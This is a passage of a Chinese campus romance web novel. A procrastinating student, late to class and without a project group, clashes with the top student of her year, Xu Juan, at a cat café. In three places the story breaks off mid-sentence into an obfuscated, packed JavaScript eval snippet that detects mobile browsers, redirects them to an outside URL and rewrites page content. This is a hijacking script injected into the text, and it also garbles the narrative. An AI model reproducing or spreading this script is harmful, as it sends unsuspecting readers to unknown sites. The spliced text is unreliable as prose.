《告白拖延症》 1. 拖延第一天 九月初的华城，火轮高吐，刚过的雨对于华北城市的高热来说，无异于饮鸩止渴。 而天气预报报道即将结束的高温天气更是如同患上了拖延症一般，没完没了。 有早八的周五堪称黑色星期五。 早八课教工程制图的刘东学是个小老头，平时留着两撇山羊胡，穿着一双千层底慢悠悠地来上课，私下里学生都管他叫“刘老头”。 刘老头看了一眼下面趴在桌子上打蔫的学生，有些气闷，干脆转过神，在黑板上写公式。 眼不见心不烦。 极轻的“吱扭”一声。 教室前排的门被悄悄推开了一道缝，随即钻出来一个小脑袋，没梳好的头发张牙舞爪地炸起，像是上一秒才从床上爬起来的。 那个脑袋警惕地张望四周，之后才狗狗祟祟地慢慢从门缝里挤出来。 有认识的同学注意到明瑶，连忙悄悄冲她招手，提醒她快点进来。 刘老头正聚精会神地对着多媒体，根本没注意到后面的动静。 教室的后门锁坏了，打不开，明瑶大着胆子从前排溜进来，蹑手蹑脚地背着书包，小心翼翼地往后排的空位一点点地挪动，屏住呼吸不敢出一点动静。 “现在物体的左视图……” 刘老头边看边念叨着这道题，丝毫没有转身的迹象。 明瑶连忙往后排溜。 马上安全了。 刘老头忽然猛地转身：“就是这道题！哪位同学——” 正好经过刘老头身边，猝不及防地与他对视的明瑶：“……” 明瑶眨了眨眼，有些尴尬。 看到忽然冒出来的一个学生，刘老头手一抖，投影的遥控的重重地掉到地上。 刘老头被吓了一跳，摸着讲台半刻才缓过劲来。 “迟到！还敢偷溜进来！” “明瑶。”刘老头皱着眉看了一下手机：“你工图作业的小组名单到现在还没提交？” 全班的目光都集中在明瑶身上。 明瑶小声回应：“老师，不是下周才截止报名吗？” 刘老头强压着火气：“那你今天迟到之后还想偷溜进教室，这种行为很合适吗？” 明瑶认错态度良好：“不合适。” 明瑶依旧低着头，用老师们的说法来说，看着就是老实孩子。 那张白皙漂亮的小脸看起来十分无辜，清亮的大眼睛低垂着不敢看人，就差把人畜无害写在脸上了。 就连挨训的时候，她都站得很端正，十分虚心接受错误的样子。 刘老头看了一眼手表：“已经上课五分钟了，你耽误了每个同学的五分钟，加起来就是一个半小时！你明白吗？” “我明白的，老师，我错了。” 明瑶认错态度良好：“我们别耽误同学们的时间了，赶紧上课吧。” 刘老头：“……” 刘老头深吸一口气，循循善诱：“你老实回答我的问题，你今天为什么迟到这么长时间？” 明瑶看了一眼刘老头称得上和蔼的笑容，犹豫片刻，还是打算实话实说：“昨天晚上宿舍停电了。” 刘老头愣了一下：“不是在教务系统发了停电通知吗？” “是发了。” 明瑶小声补充，“我想过一会儿再点开看，结果手机没电了。想去图书馆充电，但是去得太晚了，图书馆闭馆了。因为手机没电，早上闹钟没响，舍友今早也不在，所以……” “我说的都是实际情况，您肯定能理解我吧。” 班里静了一瞬。 不知道谁在笑，“扑哧”一声，特别明显。 刘老头的那张大长脸变得又红又紫，像是条打蔫的长茄子，看了她两秒，无力地摆了摆手。 “先回座位上课吧。” 明瑶如获大赦，说了声”谢谢老师“连忙往后排走。 “明瑶。”刘老头忽然叫住了她。 明瑶一愣。 “今天就是周五了。”刘老头在她耳边恶魔低语：“如果下周一我还看不到你的进组情况的话……” “我就给你挂科。” － 回了宿舍，明瑶两下甩掉鞋子，直接上床抱着电脑开始躺尸。 对床的床帘却“哗啦”一下拉开。 “没事吧？瑶瑶？”宋时薇几步爬上她的床，“刘老头又治你了？” “差不多。”明瑶嘴里含着咖啡糖看电脑，苦涩从口中逐渐蔓延，“他说下周再找不到小组，他就把我挂了。” 以前的工图小组大多是大家为了期中作业临时起意凑几个人头，很多都是跨班组合的，平时在群里商量想法，设计的作业也都是大家鸡一嘴鸭一嘴出主意，半是玩笑半认真的弄好凑数的。 刘老头对这种糊弄行为大为不满，毕竟这又不是水课。 今年一上课刘老头就强调了工图作业的重要性，找组的时候就要提出自己的想法，兴趣相投的就结成小组，一定要认真合作。 宋时薇急了：“那你还不快找？” “不太好找。”明瑶边说边顺便给刘老头发了条信息，问他还有哪个组缺人。 “我们班的组人都满了。” 宋时薇和她不是一个班的，心里干着急，“可是我们班的组也都满了，你报得太晚了。” 明瑶叹了口气，手机猛地振动一下，宋时薇下意识看过去，和她一起看到刘老头发来的信息。 【刘冬学】：许镌组还缺人。 宋时薇惊了：“许镌？！” 这一声吓得明瑶的手机差点掉下床去。 看着明瑶茫然的眼神，宋时薇不解：“你居然不知道许镌？” 明瑶诚实地嗯了声。 “咱们这届飞设专业的年级第一啊。”宋时薇说，“超级大佬啊！而且人如其名，特别卷，双修了软件工程，绩点满绩，而且长得是惊天地泣鬼神的帅。” 超级卷王。 和她这种挂了两科的咸鱼不是两个世界的人吗？ 明瑶想不通：“那为什么他的组还没人去呀？” “不是没人去。”宋时薇微微一笑，“是他要求比较高，宁缺毋滥，挑组员都是百里挑一的。” 明瑶不信：“你说得太夸张了吧。” “你不知道？”宋时薇说，“去年院里凑人参加竞赛，全年级百十号人报名去他的组，一半多为了求大佬的带飞的，我都报名了。” 明瑶惊讶：“你都年级前十了，还用他带飞吗？” “我是另一半。”宋时薇眨眨眼，“我是为了去一睹芳容的。” “……” 两人有一搭地聊了一会儿，宋时薇就睡了。 明瑶磨蹭了一会儿，终于整理完了自己的成绩单和设计想法，一并发到许镌的邮箱之后，已经到了傍晚，薄暮冥冥。 睡醒的宋时薇看着发呆的明瑶，忽然想起来：“你今天不说去猫咖吗？” 明瑶一愣，看了一眼时间，六点了。 都怪这个许镌，耽误她这么长时间。 她连忙以最快的速度换好衣服，往楼下跑。 － “猫猫之家”坐落在华大南门外的一条幽静的小巷，是专门收养流浪猫的猫咖，与繁荣热闹的商业街遥遥相对，附近只有几个小门面，潦倒冷清，除了房租便宜，也就只剩下安静这一个优点。 可能是老板有事，前段时间，猫猫之家还歇业装修了一段时间，她这两天看到软件上猫咖重新开张，才预约了时间过来撸猫。 如同往常一样，客人不多，明瑶绕过门口稀稀拉拉地停着几辆小电驴，走了进去。 她在外面看不出什么名堂，进来之后，才发现是别有洞天。 翻修过的猫猫之家，装修底色变成了冷蓝，她刚走进去，声控灯就应声亮起，顺带着不知道哪里冒出来的机械提示声说着“欢迎光临”。 平时懒懒地待在沙发上的几只加菲，把一个低空飞行的小型无人机当成逗猫棒，上蹿下跳的，居然有种赛格朋克的未来感。 就，还挺酷的。 但好像确实更好玩了。 明瑶有些迷茫地走到前台，登记好信息，套上鞋套之后，领到了猫条，进了里屋才觉得不对劲。 “quick不在吗？” quick是猫猫之家最受欢迎的一只金渐层，走起路来慢悠悠作为头牌，想要撸它，需要提前预约。 服务员解释：“您预约见quick的时间是五点半到七点，现在已经六点半了……” 明瑶不解：“那我就见quick半个小时不行吗？” 服务员小哥哥有些为难：“以后迟到了就要隔天重新约了，这是店长的新规定。” 明瑶无奈：“好吧。” 她蹲在地上，百无聊赖地摸了摸其他几只加菲的尾巴，中间进来个男生帮猫猫换水的空档，她的手机忽然响了一下。 【Re】：航院飞设2304班明瑶入组申请 ——idea尚可。 明瑶急急忙忙看下去。 ——但申请者的能力明显不足，建议不要白日做梦。 被拒绝了。 明瑶盯着屏幕看了两秒，随后埋在猫猫脖颈上，有些委屈地给宋时薇发语音。 “我被拒绝了！他说我白日做梦！” 宋时薇：【不会吧？许镌不是这样的人吧。】 “怎么不是？！”明瑶越看越伤心，开始一本正经地胡说八道。“他也太过分了，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14953971|160949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不看我的具体内容就给我否了，他还叫什么许镌啊，他叫许卷算了。” 她说这话的瞬间，忽然发现不远处的男生抬起了头。 两人猝不及防地对视，她第一眼看到是他凌厉的眉眼。 深邃又漠然。 光线十分充足的房间里，男生像是暖色调里的一抹冷。 他正好朝向她，也不说话。 一件很普通的黑T套在他身上，倒穿出来一种不一样的感觉来，很简单的围裙，系在他身上，勾勒出蜂腰猿背的线条。 男生嘴角淡扯着，漆黑的眼瞳嵌在眸子里，扫过来的那一眼，带着游刃有余的打量，和不驯的意味。 明瑶：“……” 难道是她说话声音太大了？吵到他了？ 她带着歉意看了一下男生，没想到他立刻收回了视线，转身出门之前，又看了她一眼。 明瑶一晃神，忽然回想，猫猫之家什么时候雇了个这么好看的店员。 是个辣哥。 就是看起来脾气有点坏。 断片了一瞬，她的视线又落到屏幕上，忍不住又开始难过。 不会真的被刘老头挂科吧。 她晚上回去得再想办法给许镌发个邮件。 回去之前，她还是想再找一下quick，安慰一下她受伤的心灵。 她干脆直接出去问了一下老板在哪。 “在二楼。”服务员指了指上面，“可能还在休息，您敲一下门。” 她走到二楼，发现门上还开了窗户，上面挂着“今天适合睡觉”的牌子。 明瑶轻轻敲了敲门。 她今天必须见到quick。 门上还开了个窗户，紧接着一个五颜六色的大胖脑袋从里面钻了出来。 “敲什么敲？催命呢！” 开窗的是个胖子，头发染得花里胡哨的，像个调色盘。 明瑶愣了一下。 “是个妹子诶。”胖子眼睛一亮，假装不经意地整理了一下衣领，“May i help you？有什么可以为你服务的？” “我想问一下，店长在吗？” 胖子有些失望：“不是找我的啊。” “老许！找店长的！” 屋里响起丁零咣啷的动静，紧接着是一阵窸窸窣窣的声音，阵仗古怪到明瑶怀疑里面在拆房。 她听到里面男生嘟囔了一声，胖子十分不满地嚷了一句，“我是你跟班啊？还给你传话，我不去！” “我错了！我去我去！” 胖子紧接着又冒出了头：“妹子，你有什么事吗？” “我想见见quick。”明瑶说，”我在手机上预约见它了。“ 胖子一愣：“quick今天预约都过了，不见客了。” “可是我真的特别想rua它。”明瑶说。 胖子为难：“不行哦。” 明瑶晓之以理，动之以情：”我今天特别倒霉，上课迟到被老师抓了，小组作业还没人要我，一个特别残暴的卷王组长还吐槽我，我现在万念俱灰，真的特别想让quick安慰我。” “求求你了，老板。” “我受不了了！”胖子嚷嚷：“你就答应她吧！老许！你看她太可怜了……” 话还没说完，屋里忽然响起一声嗤笑，明瑶下意识地抬起了头。 看着有点眼熟，居然是刚才那个辣哥。 男生的头发湿漉漉的，像是刚洗完澡，身上随意地套了件宽松的卫衣，怀里抱着一只炸毛的金渐层，勾魂摄魄的桃花眼看起来比猫眼还漂亮。 “装可怜没用哦。” 明瑶悄悄朝小猫招了招手，小猫见状，十分开心得往明瑶身上跳。 意外就发生在一瞬间。 肉爪子不小心勾到了男生的卫衣领口，跳过来的瞬间，明瑶只觉得眼前一晃，亮得发光。 男生的领口大开，露出了精致和锁骨和线条流畅的肌肉轮廓。 水珠顺着胸口流向更深处。 “我靠！”胖子吓了一跳，“你怎么出卖色相啊？老许？” 明瑶反应过来的一瞬间，闪过了一个念头。 这才叫一睹芳容吧。 明瑶连忙遮住眼睛：“对不起，我真不是故意的！” 捂住了眼睛，尴尬到极致的安静下，男生整理衣服的声音格外明显，明瑶甚至能听到自己有些慌乱的心跳声。 清脆的响指声。 明瑶本能地睁开眼睛。 辣哥漫不经心地撩起眼皮，漆黑的眸子望过来，桃花眼闪着潋滟的光泽，看着明瑶盯着他一动不动，耳朵反而慢慢泛红，男生挑了挑眉，语调透着股暧昧和缱绻意味。 “再看就收费了。” 2. 拖延第二天 明瑶从来都没有这么尴尬的时候。 好不容易出来一趟，还遇到一个帅气辣哥，没给人家留下什么好印象就算了，她居然扒了他的衣服。 这真的是有点尴尬。 辣哥的针织外套已经被快快扯的七零八落了，黑色针织衫直接成了性感低胸装，露出冷白的肌肤和精致流畅的肌肉线条，说一句风情万种绝对不为过。 在这种极致尴尬的情况下，她居然还能想入非非，一个念头忽然窜进她的脑海。 ——他不当人体模特有点可惜了。 明瑶想起来小时候被妈妈逼着在画室学素描的时候，那些搔首弄姿的年轻男模特好像都没有他这样的姿色。 这么想着，她忍不住又偷偷看了他一眼，黑发板寸，漆黑深瞳，长又黑眼睫难掩眉眼的凌厉意味。 半明半昧之处，光线很巧妙地勾勒出他利落的身条，他就站在那里，穿着一身简单的灰色外套，像棵挺拔的青松。 清冷又难驯。 硬帅。 没有死角的硬帅那种。 明瑶正偷偷用眼睛比量着他的身材比例，忽然就对上他看过来的视线，连忙慌乱地收回眼神。 “不好意思。”明瑶咳嗽了一声，眼里带着歉意和尴尬，“你的衣服我会赔给你的。” 辣哥盯着她片刻，看不出来高不高兴，只是淡淡睨了她一眼，语调有些冷淡，“不用。” “你赔不起。” “……” 明瑶的话被截住，愣了一下，低头看了一眼被脱下来的衣服尸体，潮牌的logo隐约可见。 难道已经绝版了？ 他这话头带着几分情绪，她猜他应该还在生气，于是继续表明自己的态度：“我买一件款式相似的赔给你。” 男生见拗不过她，也不坚持，低着头看着桌面上的电脑，眼神平静。 仿佛刚才什么都没发生。 好像刚才那个被扒衣服的也不是他。 想到这里，明瑶差点没憋住，差点笑出声。 辣哥却忽然转头看了她一眼，只是神态依旧淡漠疏离，明明只穿件闲适随意的外套倚在那里，长又黑的眼睫低垂，透出一股难以忽然的压迫感。 外面依旧凄风冷雨。 “那个……”明瑶犹豫着向前，问了一句：“请问你怎么称呼？” 忽然对上他的目光，明瑶连忙解释：“我今天回去就买衣服，然后把衣服寄过来。” 他甚至都没动一下，抬头看了她一眼。 “姓许。” “许juan。” “单立人的倦？” 男生依旧倚在角落，目光凝注着她，漆黑的眸子里闪过晦暗不明。 明瑶忽然有一点不好的预感。 辣哥盯着她，唇角弯了弯，特意拉长了语调，“镌刻的镌。” “镌刻的镌呀。” 明瑶跟着慢慢点了点头，慢半拍地意识到了不对。 等等。 叫什么来着？ 许镌？！ 四目相对。 世界忽然安静了下来。 在明瑶难掩心虚的眼神下，许镌侧目凝视，慢条斯理地点了点头。 这点头对她来说仿佛凌迟。 一切不言而喻。 完了。 刚才他在猫屋肯定听到她说他坏话了。 第一次背人说坏话就被人听到了，明瑶低着头看着地板，想找个最大的缝钻进去。 正主看起来好像根本不生气，看了她一眼，起身，就要开门回房间。 听见了也不行。 她必须进组。 虽然有些心虚，但明瑶还是强忍住尴尬的感觉，心一横，两步走过去，在许镌关门之前，以迅雷不及掩耳之势扒住了门沿，问道，“你还会接收我的申请吗？” 许镌看了她一眼：“你猜。” 男生微微垂眼，长又黑的眼睫像是黑潭边的那圈芦苇荡，正好遮挡住眼眸中的锐利十足。 明瑶的眼睛眨了眨：“我猜你会。” 许镌盯着她看了一会儿。 相貌清丽的少女露出一副人畜无害的样子，故意卖乖服软，称得上一句楚楚可怜。 他忽略掉自己喉头那丝痒意，舔了舔唇角。 “猜错了哦。“ 明瑶：“……” 说罢，他歪了歪头，动作利落地关上窗户。 － “你真的碰上许镌了？”宋时薇在电话里听她把前因后果说清楚，咂了下嘴，“我就说不能背人说坏话吧。” “我听人说过，他可是出了名的记仇，轻易不能得罪。” “你快点找个机会给他道歉。” 明瑶靠在车窗边，一动不动地看着外面漂浮的银白流云，忍不住开始出神。 好像还没问他的尺码。 感觉他那个身形，应该至少要185，她天马行空地开始估量他的体重，回忆的视角从上往下，落在他线条分明的胸肌上…… 是挺辣的。 “瑶瑶？你在听我说话吗？”宋时薇在电话那头嚷嚷：“你不是有他微信吗？” 这一句引得明瑶灵魂归位了。 “你再给他道个歉吧，道歉道得真诚点，死马当活马医呗。” 挂断电话，明瑶抬头看了一眼窗外的云层，叹了口气，最后还是在车上拿出电脑，十分认真地把拖了已久的科研小组的项目阐述和个人履历理了一遍，又附上了自己真诚的道歉，做成了一个文档。 确定没有问题后，她点了发送。 对面瞬间显示出了一个叹号。 明瑶合上电脑，心如死灰。 还记仇了。 算了，不能在一棵树上吊死。 她干脆给刘老头发了条信息过去，问他有没有别的小组现在还缺人，结果被告知现在只有许镌组还招人。 明瑶叹了口气，干脆在商贸中心下了车，比量着许镌的身高，忍痛买了一套相同款式的针织开衫，然后打车去了一趟猫猫之家。 干脆厚下脸皮再求求他算了。 没想到再过去说要找许镌，服务员小哥哥无奈地摇摇头，告诉她店长不在。 “他平时比较忙，只是偶尔过来。”服务员小哥哥生怕她不信，摆了摆手：“这个月他就来了一次。” “那你能发个信息给他，说我有东西要给他吗？” 服务员小哥哥点了点头，低头点了几下手机，随即抬头有些为难地看着她，“老板说最近没空，来不了。” 他应该不是最近有空，他就是不想见她。 明瑶抿了抿唇。 实在不行，干脆这次不参加了。 手机一响，她低头看了一眼屏幕。 聊天框上，“AAA妈妈”几个字赫然在目。 跟着发过来的是两条链接。 《不是内卷是优秀！学霸宿舍，全员保研！》 《一手抓考公一手抓考研一手抓出国！全员上岸！》 她又不是千手观音。 她往上滑了滑，看到是明丽发来的雅思复习资料，指尖停在聊天框片刻，最终还是关掉了界面。 回学校的路上，紧接着又是一场秋雨。 寂静的夜晚，乌云压顶的瞬间，大雨倾盆而下，雨丝就这样猛烈地打在车窗上，离她只隔一窗之遥，不远处的路灯晕开的黄澄澄的线条，模糊不清。 明瑶思忖片刻，给宋时薇发了条语音过去。 “薇薇，我记得你说，你学生会的朋友认识许镌，你能不能帮我打听一下他在哪个宿舍？” － 这场雨来得突然，乔之淮跟着许镌刚回宿舍，就打了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他忽然想起那双装得楚楚可怜的眼睛。 “你也够狠心的。”乔之淮说，“小组报名下周就截止了吧？你要是不要她，她估计这学期就进不了组了。” 气氛忽然就默了下来。 瞥见许镌冷下来的眉眼，乔之淮连忙开始找补，“其实她确实也有点过分，怎么能扒了你衣服还说你坏话呢？你也是给他长个教训。” 他正想说点别的话继续一下气氛，外面忽然有人敲起了门。 乔之淮连忙起身去开门。 隔壁宿舍的男生站在门口。 乔之淮一愣：“什么事？” 那男生是隔壁班的一个同学，很少来他们宿舍串门。 男生看了一眼乔之淮，小声发问。 “许镌在吗？” “我有事.......找他。” 从里面闪出一个身影，几步走了过来。 对上许镌略带冷淡地询问眼神，男生愣了一下，连忙把手里拎着的袋子递到了许镌面前。 “咱们宿舍楼下有个女生让我转交给你的。”男生支支吾吾地说。 “她说在楼下等了你很久，也没见你出来，她有重要的话要对你说。” 乔之淮十分浮夸的“哇哦”一声，引来走廊里不少人看向了这里。 许镌默了两秒，看向手中粉红色的袋子，里面躺着一件黑色的针织外套，和一件同色系的猫猫衣服，和一个U盘。 “还有……那个……她说……”男生扶了扶眼镜，脸开始红了，“她说，希望你好好考虑一下，可以、可不可以、接受她……” “……” 乔之淮：“？” 听到这句话，楼道里往这边打量的眼光更多了。 男生不好意思了，低着头继续磕磕巴巴地复述：“她还说……只要你愿意接受她，她以后都听你的.......” “……” 楼道里扫向这边的目光越来越多了，只不过目光都有点奇怪，羡慕，嫉妒，还有恨。 “她什么都愿意做的。” 3. 拖延第三天 “同学。”下来的男生撑着伞，看了她一眼：“你在等人吗？” 说着，他顺势凑近她，作势要给她撑伞，动作有些越界。 明瑶连忙躲开，“不用了，谢谢你。” 男生依旧执着：”雨这么大，你一个人怎么行。“ 明瑶睁眼说瞎话：“我在等我男朋友。” 平时遇到不少搭讪，一旦拿出”男朋友“这个撒手锏，几乎百试百灵。 果然，男生听闻她这句话，立刻收回了伞，二话不说掉头就走。 陆续有几个男生，走到她这边的时候，刻意地停住了脚步，硬拗低音炮问她，这么晚了，没班车了，需要带她回宿舍吗。 明瑶一律拿“等男朋友”敷衍过去，收获到了几个失望的眼神。 毕竟是暴雨夜，一个女孩穿着有些单薄的外套，低着头一直守在楼下，莹润的小脸也冻得惨白，可就这样，还一动不动地看着门口，看起来可爱又可怜。 雨渐渐地小了，但是宿舍楼也关门了。 东区的门禁比她们宿舍早，刚过十一点，宿管阿姨特地从里屋走出来，扫了一眼站在门外冻得瑟瑟发抖的明瑶，眼神复杂地落上了锁。 她站在树下，一阵冷风吹过，从树叶间隙落下几滴雨，顺着发梢流进她的眼睛里。 明瑶揉了揉眼睛，揉了一把渗进眼睛的雨水，只觉得眼睛发酸。 宋时薇给她发了消息过来，问她什么时候回来，她看了一眼，没回复。 深夜的校园巴士，依旧载着不少学生，宿舍门禁前夕，不少学生从图书馆鱼贯而出，是华大真正的晚高峰。 明瑶漫无目的地戳着屏幕，忽然发现明丽在家庭群里给她转了一笔钱过来，五位数，后面跟着一句话。 AAA妈妈：【瑶瑶，记得早点报名雅思。】 AAA妈妈：【平时上课有什么问题，就去问刘爷爷，他是你的导师，又是你的表舅姥爷，自己家亲戚，要和人家搞好关系，懂不懂？】 她看着转账，点了对话框，还没想好怎么回复。 爸爸：【没必要给孩子这么大压力，现在才大二。】 令书彬这一句话，激起了明丽的脾气。 AAA妈妈：【你懂什么？平时都不管孩子，现在装什么好人。】 自从她大二转专业失败之后，明丽的危机感变得比她还要深。 飞设专业并不算华大的王牌专业，听着是航空航天，十分高大上，实际上性价比不高，当时高考成绩出来之后，明丽不管不顾的，抱着她又哭又笑，说明瑶满足了她年轻时候的愿望。 可她报志愿的时候，在华城工作过令书斌就和明丽说过，说明瑶的成绩，不如去稍微次一档的重点大学。 到时候稳扎稳打的读个计算机或者汉语言，无论是留在华城还是回老家当公务员，都是进可攻退可守。 女孩子嘛，安安稳稳就挺好。 但明丽一听就火了，令书彬就是窝窝囊囊的在小城市待了一辈子，求其者得其下，大好的青春不去拼一把，这一辈子也就荒废了。 更何况，顶尖的大学，对应的资源也是顶尖的，无论是保研、出国还是就业，对于一般的重点大学，都有碾压性的优势，其中的门道，令书彬根本不明白。 明瑶一定要读华大，这是她的执念。 当然，他们从来没问过她的想法。 可她运气一般，调剂到了航院，读飞设这个鸡肋专业。 华大高手如云，她这样从高考弱省出来的小菜鸡，根本不算什么，上学期她挂了三科，还是求了导员半天，才没把学业预警发给明丽。 因为她知道，明丽知道了，虽然不会发脾气，但会一边安慰她没事，妈妈最在乎的不是你的成绩，一边又焦虑地和她念叨“大环境不好，一定要早做准备”“早起的鸟儿有虫吃”。 她怕自己是早起的虫子被鸟吃。 要是这次没小组要她，再挂一科，让明丽知道了，恐怕会闹个天翻地覆。 中英文双语的报站信息打断了她的思绪。 明瑶下了车，慢吞吞地回到宿舍，已经筋疲力尽，一脚蹬掉鞋子，刚爬上梯子，隔壁床的床帘就忽然拉开了。 祝晚宁拔掉耳机，瞥了明瑶一眼：“小点声。” 明瑶愣了一下，没想到祝晚宁今晚会住在这里。 “对不起哦。” 电脑里播放着线代网课，1.5倍速的速度下，繁复困难的公式在宿舍里回荡。 对床的宋时薇从床上坐起来：”现在还没熄灯呢，怎么就不能出声了？“ 祝晚宁瞥了宋时薇一眼，两人的眼神在半空中交锋，宋时薇丝毫不怵她：“图书馆还没关门呢，学习可以去图书馆。” 祝晚宁哼了一声，没说话，直接拉上了床帘。 明瑶看了宋时薇一眼，宋时薇冲明瑶撇撇嘴，口型在说“有病”。 平时祝晚宁经常外宿在亲戚家，偶尔回宿舍，加上同专业不同班，祝晚宁和他们两个人根本不熟。 宋时薇对她的评价很贴切，不是一路人。 祝晚宁则是华城本地人，学习成绩和家境都不错，长得也挺漂亮，平时和人相处的时候，总带着股若有若无的骄矜。 宋时薇和明瑶都是从北方小城卷出来的学生，尤其是明瑶，从小到大一直只会读书，上了大学之后手足无措，浑浑噩噩地就挂了两科，祝晚宁就不喜欢和学习差的学生说话，自然不待见她。 宋时薇则不然，成绩和祝晚宁旗鼓相当，长得也很漂亮，一米七的大高个平时做事雷厉风行的，穿着打扮都很随意。 刚开始祝晚宁还和她说几句话，后来放暑假的时候，发现来接她回家的中年男人坐在库里南里，旁边的司机还给宋时薇毕恭毕敬地打伞之后，对宋时薇的态度就也冷了下来。 明瑶躺在床上，看到宋时薇给她发消息，问她许镌答应了吗。 日月：【连面都没见到。】 宋时薇：【不会吧。】 明瑶想起许镌冷脸反问他“你说呢”，又想到今晚让她在外面等了一晚上他都不下来，就觉得憋屈。 没准他靠在床边，一边喝着饮料，一边打着游戏，然后在懒洋洋地看着她在下面淋雨。 她越想越憋屈，噼里啪啦一顿打字，恨不得把委屈都宣泄出去。 日月：【我在楼下等了他一晚上，他也没下来。】 日月：【估计没戏了，我等明年算了。】 宋时薇：【你又要拖了！】 恨铁不成钢的语气几乎要撕裂屏幕。 日月：【可他确实不打算要我了。】 屏幕上一直显示着正在输入中，良久，她听到对床的宋时薇叹了口气。 宋时薇：【算了，你开心就好。】 － 深夜，宿舍里一片漆黑，从宋时薇的床帘隐隐约约的透出光来，宋时薇不知道在看什么，哭得鼻涕一把泪一把的，她的耳机还有一点漏音，明瑶听到男主一声竭力地嘶吼。 “我这么努力！就让我留在华城吧！” 明瑶在校园墙里发了个帖，死马当作活马医的求助航院大二其他专业还有没有实践小组招人，发帖之后，她一边刷新着首页，一边等着回复。 首页飘着几个新帖，零零碎碎夹杂着几个图书馆情侣没边界感、诅咒偷外卖的贼死全家的吐槽帖，她漫无目的刷着，看到一个帖子的标题写的特别引人注目。 ——《求联系方式！12号楼在楼下淋雨的小姐姐，有人认识她吗？》 明瑶刚点开，就看到她的一张照片，像素不高，只能看到她一张侧脸，围着围巾站在宿舍楼下，鼻尖都冻红了，看起来有点可怜。 应该就是经过12号楼的人偷拍的一张照片。 校园墙经常有这种帖子，没经过人家的同意就发到网上，她认为是一种冒犯，至少引起了她的困扰，删帖需要私信管理员，这么晚了，干脆明早再联系。 这么想着，她按灭了屏幕。 － 清早，明瑶隐约听到了祝晚宁发出一声惊呼，心突地一跳。 “明瑶。”祝晚宁大声叫她，“你看校园圈上的热帖，里面是不是你。” 宋时薇不耐地翻了个身：“现在才几点？” 祝晚宁直接把链接发在了宿舍群里， “这个女生有男朋友的，楼主别做梦了。” “渣男大晚上把女朋友晾在外面淋雨，你心疼就让给我，我心疼……” 祝晚宁一字一句念出来，声音很大，“你和谁谈恋爱了！” 宋时薇蒙了，看着同样一脸茫然的明瑶。 昨晚的帖子居然被顶成了热帖，一直在首页飘着，下面有评论基本上都在问渣男是谁，居然让女朋友在楼下淋雨。 明瑶的神经瞬间绷紧。 【我知道内幕！渣男是飞设班，我听别人说，那女生说了，只要许镌接受她，她什么都愿意做的，但是他对人家爱答不理的，始乱终弃。】 【这也太没底线了吧，什么锅配什么盖。】 “你和许镌谈恋爱了？” “没有。” 她就拖了一晚上，居然就闹了这么大的误会。 祝晚宁发出一声意味不明的笑声，“传得也太离谱了吧。” 宋时薇看了一眼面色苍白的明瑶，明白过来可能是误会。 “怎么离谱了？”宋时薇哼了一声，“她怎么就不能和许镌谈恋爱？” “不是不能。”祝晚宁摸了摸鼻子，“就是感觉不合适。” 明瑶躺在床上感觉已经活人微死了。 他会不会已经看到这个帖子了。 明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14953973|160949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑶以最快的速度从床上爬起来，打开桌子上的电脑就立刻给校园墙的管理发了私信，请求他帮忙删帖。 “瑶瑶。”宋时薇催她，“都快八点了，你怎么还不去上课。” 明瑶忽然有点不想去上课了，她要是许镌的话，估计会守在宿舍楼下，抓住她之后，直接把她带到导员面前，让她当着全院面前广播道歉，还他清白。 “老崔的课迟到三次就取消考试资格了。”宋时薇提醒她，“有事回来再解决。” 明瑶只好把电脑装到包里，连忙出了门。 － 整节课明瑶都戴着口罩不敢抬头，幸好这堂课不点名，也没人注意到她就是热帖的女主，都坐在后排，联系管理员删帖，也不知道是不是他还没起，一直都显示未读。 她听到前排的女生趴在桌子上聊八卦，细碎的议论声传到她的耳朵里，带着“渣男”“不会吧，这么帅”诸如此类的话。 明瑶越听越感觉后颈发凉。 热帖却一直都在首页飘着，后面的跟帖越来越离谱，在几个”知情人士“的描述下，许镌成了一个始乱终弃的渣男，他居然就心安理得地接受着价值不菲的礼物把女朋友晾在楼下冻着。 软饭硬吃啊。 明瑶越看越害怕。 虽然她刚才在校园墙里发了澄清出去，说明了事情的前因后果，然而造谣一张嘴，辟谣跑断腿，帖子根本没有什么热度，终于有了一个评论，还是骂她是许镌本人发帖，故意扭曲事实。 很好。 她这辈子最好都别再碰到许镌了。 好在管理员终于回了她的信息，说一会儿登上服务器就帮她删帖，她收好东西，打算回寝室躲着，这几天能别出门就别出门了。 偏偏刘老头这时候还发了条信息过来，说有事找她，让她尽快来办公室一趟。 日月：【明天行吗，老师？】 刘老头回得干脆，说她现在不过来，以后就永远别过来了。 幸好办公室离这里不远，她坐着电梯上了四楼尽头的办公室，敲了敲门。 刘老头的声音很洪亮：“进来！” 明瑶推门进去，看到刘老头戴着老花镜正在看电脑。 看到她进来，刘老头开门见山：“两个班的小组，现在就剩你一个人没报名了。” “是不是还没找到组？” 明瑶攥住了手心：“现在还没有。” “我看你下周也找不到。”刘老头按了按太阳穴，“你那个想法我看了，点子还凑合，就是完成度不够，我给你找个需求相似的组，你先报上名再说吧。” 明瑶愣了一下，还没开口，话就被刘老头截住了。 